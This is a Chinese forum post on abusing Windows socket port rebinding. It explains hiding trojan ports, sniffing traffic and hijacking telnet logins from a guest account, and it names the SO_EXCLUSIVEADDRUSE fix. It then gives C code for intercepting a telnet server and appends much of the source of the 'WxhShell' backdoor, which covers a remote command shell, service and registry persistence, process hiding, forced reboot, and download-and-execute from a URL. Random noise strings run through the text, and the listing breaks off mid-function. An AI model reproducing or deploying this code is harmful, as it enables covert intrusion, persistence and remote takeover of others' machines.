社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 16571阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: GMqeC  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ns|)VX   
TxL;qZRY ^  
  saddr.sin_family = AF_INET; CPssk,q~C  
}!=}g|z#|  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); R0dIxG%  
q 65mR!)  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "L'0"  
\8v{9Yb  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &VG|*&M  
*"4d6  
  这意味着什么?意味着可以进行如下的攻击: dLb9p"EE#  
PMER~}^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Y0`@$d&n  
OU&eswW  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) J ik+t\A  
T=6fZ;7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 K?[*9Q'\  
Ml`tDt|;  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  R[Y]B$XO  
zs! }P  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Id`?yt  
NV 6kj=r  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 8YNii-pl  
X=O}k&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /5 rWcX  
tmM8YN|  
  #include gd~# uR\  
  #include zrD];DP  
  #include |DAe2RK  
  #include    > <cK  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2$8#ePyq*  
  int main() (#6E{@eq  
  { rO8Q||@>A  
  WORD wVersionRequested; *~b3FLzq  
  DWORD ret; n3w(zB  
  WSADATA wsaData; MRzrZZ%LQ  
  BOOL val; .I%p0ds1r  
  SOCKADDR_IN saddr; ^6*LuXPv  
  SOCKADDR_IN scaddr; HZ$q`e  
  int err; ;4DqtR"7Y  
  SOCKET s; *LnY}#  
  SOCKET sc; L@> +iZSO  
  int caddsize; H]v"_!(\  
  HANDLE mt; (ATvH_Z  
  DWORD tid;   !FwR7`i  
  wVersionRequested = MAKEWORD( 2, 2 ); x!$Dje}  
  err = WSAStartup( wVersionRequested, &wsaData ); |~Q`D dkX  
  if ( err != 0 ) { # 3{g6[Y  
  printf("error!WSAStartup failed!\n"); n^O Wz4  
  return -1; DoV<p?U  
  } HD"Pz}k4  
  saddr.sin_family = AF_INET; -~z]ut<Z  
   CS[[TzC=5  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 P $4h_dw  
V'vDXzk\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); B/#tR^R  
  saddr.sin_port = htons(23); ofe SGx  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) OE,uw2uaT  
  { !_{2\ &  
  printf("error!socket failed!\n"); 4}nsW}jCc  
  return -1; utk'joo  
  } Vg1! u+`<  
  val = TRUE; V,>_L  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 qta^i819  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /+pPcK  
  { =X6+}YQ"  
  printf("error!setsockopt failed!\n"); u@!iByVAg  
  return -1; HA}pr6Z  
  } )*&I|L<1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; rTJv>Jjld  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 q3.L6M  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ,BuN]9#  
7ky$9+~  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) d~[^D<5,D  
  { |E+tQQr%'  
  ret=GetLastError(); v]*(Wd~|  
  printf("error!bind failed!\n"); FS.z lk\D=  
  return -1; "zJGYBen  
  } >AcpJ|V  
  listen(s,2); 9A]XuPAlh  
  while(1) QInow2/u  
  { Bsm>^zZ`YU  
  caddsize = sizeof(scaddr); $)OUOv  
  //接受连接请求 h'8w<n+%)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 79J@`  
  if(sc!=INVALID_SOCKET) 0(9]m)e  
  { BV=L.*  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); LM_/:  
  if(mt==NULL) |JVeW[C  
  { %,9iY&;U"  
  printf("Thread Creat Failed!\n"); #UN(R  
  break; U'i L|JRF  
  } ?H9F"B$a  
  } C#]%  
  CloseHandle(mt); ;0}8vs  
  } ,}&E=5MF\  
  closesocket(s); %SV"iXxY  
  WSACleanup(); Ck,.4@\tK  
  return 0; kqYvd]ss  
  }   ,WF)GS|7V  
  DWORD WINAPI ClientThread(LPVOID lpParam) _#c^z;!  
  { 4uip!@$K  
  SOCKET ss = (SOCKET)lpParam; &JoMrcEZ  
  SOCKET sc; F\. n42Tz  
  unsigned char buf[4096]; nU"V@_?\  
  SOCKADDR_IN saddr; ailje  
  long num; dvUBuY^[  
  DWORD val; K`PmWxNPh  
  DWORD ret; V'h O  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7#Qa/[? D  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   -C$Z%I7 0  
  saddr.sin_family = AF_INET; /*GRE#7S  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); cK.T=7T  
  saddr.sin_port = htons(23); S fE^'G\  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W-Cf#o  
  { EXz5Rue LV  
  printf("error!socket failed!\n"); I>b-w;cC  
  return -1; +NRn>1]  
  } W%]sI n  
  val = 100; 6p/gvpZ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7lpd$Y  
  { x>Ah4a d  
  ret = GetLastError(); \K 01 F  
  return -1; g j`"|  
  } n3{m "h3  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fM]McZ9)D  
  { ki6`d?  
  ret = GetLastError(); xh> /bU!>  
  return -1; H[%F o  
  } .kM74X=S  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Hk-)fl#dr  
  { 3mn0  
  printf("error!socket connect failed!\n"); n5_r 3{  
  closesocket(sc); '3uj6Wq2  
  closesocket(ss); zx\N^R;Jq  
  return -1; :>lica_  
  } v>Il #  
  while(1) |dNtM^  
  { ZNPzQ:I@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 x_Ki5~w5  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 vCwDE~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ?,r bD 1  
  num = recv(ss,buf,4096,0); "fLGXbNQ  
  if(num>0) [d!C6FT  
  send(sc,buf,num,0); @18@[ :d"  
  else if(num==0) xM%E;  
  break; {xt<`_R  
  num = recv(sc,buf,4096,0); yy?|q0  
  if(num>0) ] K7>R0  
  send(ss,buf,num,0); ?Gl'-tV  
  else if(num==0) I=hgfo  
  break; c< gM  
  } 8QYG"CA6/  
  closesocket(ss); sTqy-^e7  
  closesocket(sc); =!xeki]|9  
  return 0 ; ~nb%w?vv  
  } S6H=(l58  
w;Qo9=-  
qce#  
========================================================== q 9qmz[  
k=Ef)'  
下边附上一个代码,,WXhSHELL lg;Y}?P  
`<t{NJ&f  
========================================================== e%G- +6  
~0?p @8  
#include "stdafx.h" {mL/)\  
ORa!84L  
#include <stdio.h> &tZ?%sr  
#include <string.h> 6f=/vRAh$  
#include <windows.h> MCQ>BP  
#include <winsock2.h> @Risab n  
#include <winsvc.h> U6X~]|o  
#include <urlmon.h> xpyb&A  
W<2%J)N<  
#pragma comment (lib, "Ws2_32.lib") uYL6g:]+ZC  
#pragma comment (lib, "urlmon.lib") *D<S \6=  
LF%1)x  
#define MAX_USER   100 // 最大客户端连接数 (W+9 u0Zq  
#define BUF_SOCK   200 // sock buffer *wp'`3y}  
#define KEY_BUFF   255 // 输入 buffer !U>"H8}dv  
aJMh>  
#define REBOOT     0   // 重启 W _b $E =  
#define SHUTDOWN   1   // 关机 vFb{(gIJ  
[CPZj*|b  
#define DEF_PORT   5000 // 监听端口 }p t5.'l  
_DC/`_'  
#define REG_LEN     16   // 注册表键长度 v}z o v Ei  
#define SVC_LEN     80   // NT服务名长度 LO.4sO  
zx-+u7qKH  
// 从dll定义API :G^`LyOM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ENC_#- 1x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =(v!pEF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); SX^fh.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 94APjqV6'  
g) v"nNS  
// wxhshell配置信息 n{BC m %  
struct WSCFG { ejo4mQ]a  
  int ws_port;         // 监听端口 j)-D.bY0  
  char ws_passstr[REG_LEN]; // 口令 ZX-9BJ`Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no 77i |a]Kd  
  char ws_regname[REG_LEN]; // 注册表键名 no?)GQ  
  char ws_svcname[REG_LEN]; // 服务名 &;)~bS(   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r %0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 T|.Q81.NE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !u6~#.7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cYR6+PKua  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bwVv#Z\r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]Jnf. 3  
YGWb!|Z$  
}; iZMsN*9[  
#-'}r}1ZT  
// default Wxhshell configuration k|A!5A2  
struct WSCFG wscfg={DEF_PORT, ]Vb#(2<2  
    "xuhuanlingzhe", =V5.c+  
    1, V2VsJ  
    "Wxhshell", h!K B%4V  
    "Wxhshell", }0 <x4|=  
            "WxhShell Service", sTG+c E  
    "Wrsky Windows CmdShell Service", *|t]6!aVLS  
    "Please Input Your Password: ", Qmn5umd=?\  
  1, ,Qyz2- w  
  "http://www.wrsky.com/wxhshell.exe", !-.-!hBN  
  "Wxhshell.exe" 3]N}k|lb%  
    }; _D,8`na>K  
tB_V%qH  
// 消息定义模块 hsqUiB tc6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W$'pUhq\H  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C9=f=sGL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J$e.$ah;  
char *msg_ws_ext="\n\rExit."; K,IOD t  
char *msg_ws_end="\n\rQuit."; ,o9)ohw  
char *msg_ws_boot="\n\rReboot..."; !5B9:p~-  
char *msg_ws_poff="\n\rShutdown..."; G4x.''r&Sl  
char *msg_ws_down="\n\rSave to "; pK'WJ 72U  
EW5S%Y  
char *msg_ws_err="\n\rErr!"; b,Z& P|  
char *msg_ws_ok="\n\rOK!"; ='VIbE@qC  
+W;B8^imG  
char ExeFile[MAX_PATH]; `n5c|`6  
int nUser = 0; E<\\'VF  
HANDLE handles[MAX_USER]; *<Ddn&_  
int OsIsNt; oVq@M  
\B}W(^\wg;  
SERVICE_STATUS       serviceStatus; c<D Yk f  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5ef&Ih.3  
k oHY AF  
// 函数声明 @\"*Z&]8z0  
int Install(void); chd${ j  
int Uninstall(void); _O!D*=I  
int DownloadFile(char *sURL, SOCKET wsh); >}4]51s  
int Boot(int flag); )F~>  
void HideProc(void); 3Aj_,&X.@(  
int GetOsVer(void); c%Gz{':+  
int Wxhshell(SOCKET wsl); zr[~wM  
void TalkWithClient(void *cs); 19N:9;Ixz  
int CmdShell(SOCKET sock); xJ"Zg]d{  
int StartFromService(void); /ruf1?\,R  
int StartWxhshell(LPSTR lpCmdLine); J:(Shd'4D  
8^R>y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8m1zL[.8g  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z=K5~nU  
,B#Y9[R  
// 数据结构和表定义 ^m+W  
SERVICE_TABLE_ENTRY DispatchTable[] = ,gOQI S56  
{ J,D{dYLDD  
{wscfg.ws_svcname, NTServiceMain}, &U=f,9H  
{NULL, NULL} |E~X]_Y  
}; gMGg9U$@  
9{TOFjsF  
// 自我安装 ReE3742@  
int Install(void) 3?%kawO&  
{ <>e<Xd:77{  
  char svExeFile[MAX_PATH]; W@ Z=1y  
  HKEY key; X*JD  
  strcpy(svExeFile,ExeFile); H9>&"=".  
AN%.LK  
// 如果是win9x系统,修改注册表设为自启动 2ga}d5lu  
if(!OsIsNt) { RyhR#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xg^fM@#m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b@X@5SJFW  
  RegCloseKey(key); k9n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \6'A^cE/PX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ib&qH_r/  
  RegCloseKey(key); xaS  
  return 0; v'>Yc#VJ  
    } uc<@ Fh(  
  } p!a%*LfND  
} xsTxc&0^  
else { As\5Ze9|  
c:6w >:  
// 如果是NT以上系统,安装为系统服务 qnS7z%H8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); IY19G U9  
if (schSCManager!=0) Kulg84<AwM  
{ B.G!7>=  
  SC_HANDLE schService = CreateService *Qf }4a0  
  ( 7wqwDE  
  schSCManager, #NE^f2  
  wscfg.ws_svcname, *Vc=]Z2G^  
  wscfg.ws_svcdisp, Kje+Niz7  
  SERVICE_ALL_ACCESS, `o3d@Vc  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \k,bz 0  
  SERVICE_AUTO_START, M/DTD98'N  
  SERVICE_ERROR_NORMAL, :3t])mL#   
  svExeFile, >ahj|pm  
  NULL, j41:]6  
  NULL, z K(5&u  
  NULL, NN:TT\!v  
  NULL, ;MMFF{  
  NULL </=PN1=A  
  ); c[y8"M5  
  if (schService!=0) 1v4kN -  
  { wtUG2 (  
  CloseServiceHandle(schService); 5QSmim  
  CloseServiceHandle(schSCManager); **q/'K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); iN*>Z(b"  
  strcat(svExeFile,wscfg.ws_svcname); PGKXzp'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )q^vitkjup  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^pjez+  
  RegCloseKey(key); (J4utw Z  
  return 0; %:,=J  
    } d<Os TA  
  } !LJ.L?9qw  
  CloseServiceHandle(schSCManager); :=Q|gRTL*  
} _+N^yw,r*  
} Pc7: hu  
[5VUcXGt*\  
return 1; 1IV 0a  
} )1vojp 4Za  
o W[,EW+u  
// 自我卸载 w!}1oy  
int Uninstall(void) 6a?y $+pr  
{ (*RybKoaA  
  HKEY key; zvf]}mNx  
;Wa{q.)  
if(!OsIsNt) { E5(Y*m!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \zi3.;9|;  
  RegDeleteValue(key,wscfg.ws_regname); ^ ?=K)  
  RegCloseKey(key); zK 2wLX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tTt3D]h(  
  RegDeleteValue(key,wscfg.ws_regname); ]#$kA9  
  RegCloseKey(key); bIArAS9%  
  return 0; ]~^/w}(K  
  } 8UIL_nPO  
} \uk#pL  
} 9^^#I ~-  
else { $<cZ<g5)  
Fsf22  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;*2e;m~)?  
if (schSCManager!=0) j0~3[dyqU  
{ kYB <FwwB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $5b|@  
  if (schService!=0) #%9]Lq  
  { Uot-@|l  
  if(DeleteService(schService)!=0) { .=yus[,~  
  CloseServiceHandle(schService); 8zC k9&  
  CloseServiceHandle(schSCManager); Q:gn>/  
  return 0; }$U[5wL,_  
  } 'j_H{kQy  
  CloseServiceHandle(schService); 6^|6V  
  } <L~xR5  
  CloseServiceHandle(schSCManager); sAoM=n}!  
} zy[=OX+  
} 9i}D6te  
.$0Ob<.  
return 1; m0Syxb  
} u-{l,p_H  
`yAo3A9vk  
// 从指定url下载文件 [M^[61  
int DownloadFile(char *sURL, SOCKET wsh) ;g:bn5G  
{ :BX{ *P  
  HRESULT hr; IxZ.2 67  
char seps[]= "/"; n\-_i2yy  
char *token; ^\&g^T%  
char *file; DOVX$N$3  
char myURL[MAX_PATH]; D:E~yh)$-  
char myFILE[MAX_PATH]; (AG  
Wi?%)hur  
strcpy(myURL,sURL); DME?kh>7  
  token=strtok(myURL,seps); X-1Vp_(,TP  
  while(token!=NULL) Z9&D'n)  
  { c@-K  
    file=token; Zd U{`>v  
  token=strtok(NULL,seps); 1Wk EPj,  
  } \83A|+k  
g/,Bx!'8p  
GetCurrentDirectory(MAX_PATH,myFILE); oqba:y;AR  
strcat(myFILE, "\\"); ms7 7{A3  
strcat(myFILE, file); %^=!s  
  send(wsh,myFILE,strlen(myFILE),0); ocqB-C]  
send(wsh,"...",3,0); 1[BvHOI2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g>xUS_d>  
  if(hr==S_OK) '$XHRS/q]  
return 0; R.H\b!  
else *+j{9LK  
return 1; P! Ed  
/iy*3P,`  
} c^Jgr(Ow  
`4.sy +2  
// 系统电源模块 Ig3(|{R  
int Boot(int flag) g]<Z]R`  
{ OgN1{vRFx  
  HANDLE hToken; )H9*NB8%  
  TOKEN_PRIVILEGES tkp; (oitCIV  
G>,nZ/,A{  
  if(OsIsNt) { 2nU NI U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ; Uqx&5P}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P5}[*k%DQw  
    tkp.PrivilegeCount = 1; k!/ _/^{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1Bk*G>CX9(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @zynqh  
if(flag==REBOOT) {  g1wI/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) kbYg4t]FH  
  return 0; L-C/Luws  
} U`9\P2D`/  
else { Gr"7w[|+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) < mK  
  return 0; ' ?G[T28  
} ,(0XsBL  
  } [k~+(.2I  
  else { ]Ec[")"kT  
if(flag==REBOOT) { I0HY#z%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) '<D`:srV  
  return 0; B~;LBgpp  
} >?9 WeXG  
else { q 9brpbg_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mu6xL QdA  
  return 0; 2Z`$  
} U aj`  
} 2]NAs9aZ  
+ %#MrNM'  
return 1; \8*,&ak%  
} ,AbKxT f2  
:@>br+S  
// win9x进程隐藏模块 9U<)_E<y  
void HideProc(void) SZ2q}[o`R  
{ } C{}oLz  
Q)6wkY+!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d0A\#H_&  
  if ( hKernel != NULL ) \ ~LU 'j  
  { Iq0 #A5U%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9{%g-u \  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -hVv  
    FreeLibrary(hKernel); 'hlB;z|T  
  } HcBH!0  
?]\W8)  
return; ^wO_b'@v  
} UJz4>JF  
Wl !!5\  
// 获取操作系统版本 QFNz9c  
int GetOsVer(void) ^?6 W<  
{ t$y&=v  
  OSVERSIONINFO winfo; q3x;_y^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q}Ze-JIL$  
  GetVersionEx(&winfo); XJJ[F|k~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .hQ3A"  
  return 1; CFBUQMl >  
  else GIC"-l1\  
  return 0; Vgqvvq<S  
} [^U;  
pKxX{i1l  
// 客户端句柄模块 c#n4zdQd]5  
int Wxhshell(SOCKET wsl) /+4^.Q*  
{ qXU:A-IdIl  
  SOCKET wsh; Z9"{f)T  
  struct sockaddr_in client; \2R`q*a+  
  DWORD myID; 4h;f>BG  
z[5Y Z~}*  
  while(nUser<MAX_USER) [/AdeR  
{ k,;lyE  
  int nSize=sizeof(client); Pu$kj"|q*[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *CH!<VB/  
  if(wsh==INVALID_SOCKET) return 1; 5y(t`Fmt  
d(X\B{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F8uRT&m B0  
if(handles[nUser]==0) [>$\s=` h  
  closesocket(wsh); . QQ?w  
else y/X:=d6"  
  nUser++; -t%{"y  
  } Iuu<2#gb8"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4T==A#Z  
+Mk*{ A t  
  return 0; sd]54&3A  
} 3 ^02fy  
&?/N}g@K  
// 关闭 socket +QIGR'3u  
void CloseIt(SOCKET wsh) ,#E3,bu6_4  
{ :$M9XZ~\  
closesocket(wsh); V6@*\+:3)  
nUser--; DMAf^.,S  
ExitThread(0); `q f\3JT\  
} nc3ltT,R  
-uv 9(r\P  
// 客户端请求句柄 BaWQ<T8p8  
void TalkWithClient(void *cs) OX)#F'Sl}  
{ N+\oFbE  
u8-a-k5<  
  SOCKET wsh=(SOCKET)cs; MtpU~c  
  char pwd[SVC_LEN]; $z2 xZqe  
  char cmd[KEY_BUFF]; "ibK1}-  
char chr[1]; lL:KaQ0E  
int i,j; 6\,DnO   
6[+\CS7Lt  
  while (nUser < MAX_USER) { <CZI7]PM7  
5T$}Oy1  
if(wscfg.ws_passstr) { MekT?KPQ{L  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ( oQ'4,F  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N{1.g S  
  //ZeroMemory(pwd,KEY_BUFF); )myf)"l5  
      i=0; l-<3{!  
  while(i<SVC_LEN) { 22)0zY%\  
D'7A2f  
  // 设置超时 qhV,u;\.  
  fd_set FdRead; <X:Ud&\  
  struct timeval TimeOut; E fP>O  
  FD_ZERO(&FdRead); 9GMH*=3[=  
  FD_SET(wsh,&FdRead); hH <6E  
  TimeOut.tv_sec=8; 94~"U5oQ:  
  TimeOut.tv_usec=0; 4*0:bhhhf_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "XGD:>Q.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vnz[w=U  
TpJg-F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Zg)_cRR   
  pwd=chr[0]; )ZT6:)  
  if(chr[0]==0xd || chr[0]==0xa) { 5z1\#" B[  
  pwd=0; ~A8qeaP  
  break; D ?Nd; [  
  } - *:p.(c  
  i++; >EBZ$X  
    } WW//heJe-  
[3t0M5x w  
  // 如果是非法用户,关闭 socket Dh hG$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lo cW_/  
} 0zg2g!lh  
XMt u"K  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bH'S.RWp=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?r{TOj n  
4^0d)+Ff  
while(1) { w+t#Yb\7  
7V~ "x&Eu  
  ZeroMemory(cmd,KEY_BUFF); `%$8cZ-kr  
GxYW4b  
      // 自动支持客户端 telnet标准   Z7JKaP9{:  
  j=0; Of-C  
  while(j<KEY_BUFF) { }czsa_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L/Hv4={  
  cmd[j]=chr[0]; "/Y<G  
  if(chr[0]==0xa || chr[0]==0xd) { "Z;~Y=hC13  
  cmd[j]=0; z'7#"D  
  break; q}#iV$dAj  
  } |:./hdcad  
  j++; IZO@V1-m  
    } D,c!#(v cK  
25aNC;J  
  // 下载文件 d2RnQA  
  if(strstr(cmd,"http://")) { SXQ@;= ]xV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5,S,\O9>X  
  if(DownloadFile(cmd,wsh)) r)gCTV(kb  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); hdo&\Q2D8  
  else uc'p]WhQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z+NF(d  
  } *3;UAfHv  
  else { T |37#*c  
(jMtN?&0H-  
    switch(cmd[0]) { -M6L.gi)oJ  
  St6aYK  
  // 帮助 C`dkD0_  
  case '?': { ypH8QfxLTr  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B9YsA?hg  
    break;  BY3bpR  
  } *dN N<  
  // 安装 q^5yk=2fq  
  case 'i': { :d.1;st  
    if(Install()) uaiz*Im  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <x0)7xX  
    else tE[H8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4avc=Y5  
    break; :-)GNf yGz  
    } `AR"!X  
  // 卸载 I6+2>CUGo  
  case 'r': { 5Q`RTn%  
    if(Uninstall()) im8 -7Xt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m d?b*  
    else b6|Z"{TI _  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W]_g4,T>  
    break; !K[/L< Kv  
    } |8bE9qt.P  
  // 显示 wxhshell 所在路径 lK*jhW?3:  
  case 'p': { fmFzW*,E  
    char svExeFile[MAX_PATH]; <|a=hHPi:  
    strcpy(svExeFile,"\n\r"); \^9pW 2v  
      strcat(svExeFile,ExeFile); EJ`Q8uz  
        send(wsh,svExeFile,strlen(svExeFile),0); :/6()_>bO  
    break; s _~IZ%+<.  
    } A#(`9  
  // 重启 ur6e&bTp  
  case 'b': { bw9 nB{C<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]BfS270  
    if(Boot(REBOOT)) -^Xy%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fp{G|.SA  
    else { }S */b1  
    closesocket(wsh); 1fY>>*oP  
    ExitThread(0); ><=rIhG%H@  
    } }z wX  
    break; Yrxk Kw#  
